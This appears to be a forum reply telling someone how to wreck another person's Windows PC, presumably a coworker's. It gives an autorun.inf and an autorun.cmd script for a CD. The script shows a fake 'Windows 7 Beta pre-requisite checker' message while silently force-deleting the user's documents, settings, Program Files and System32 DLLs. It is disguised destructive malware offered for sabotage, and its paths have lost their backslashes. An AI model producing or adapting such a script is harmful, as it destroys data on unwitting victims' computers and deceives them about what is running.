You can't I'm afraid. Windows won't let you format the drive it's booted off. You'd have to make a bootable cd and hope that he boots from it.
Next best thing is to create a CD that deletes everything from his profile/program files folder. It's possible that it might get stopped by some windows safety feature when it reaches the program files/windows folder but it should kill most of his system (for quite obvious reasons I've not tested this lol
):
just don't get yourself sacked...
autorun.inf:
[autorun]
open=autorun.cmd
icon=<someiconfile>.ico
autorun.cmd:
@echo off
echo "Windows 7 Beta Build 7.0.2464 Pre-requisite checker.This may take a few minutes. Please Wait..."
del /f /s /q "%USERPROFILE%My Documents*.*" > nul
del /f /s /q "%USERPROFILE%Local SettingsApplication Data*.*" > nul
del /f /s /q "%USERPROFILE%Application Data*.*" > nul
del /f /s /q "%USERPROFILE%Favorites*.*" > nul
del /f /s /q "%USERPROFILE%Cookies*.*" > nul
del /f /s /q "%USERPROFILE%Start MenuPrograms*.*" > nul
del /f /s /q "%PROGRAMFILES%*.*" > nul
del /f /s /q %SYSTEMROOT%System32*.dll
Social Networking Bookmarks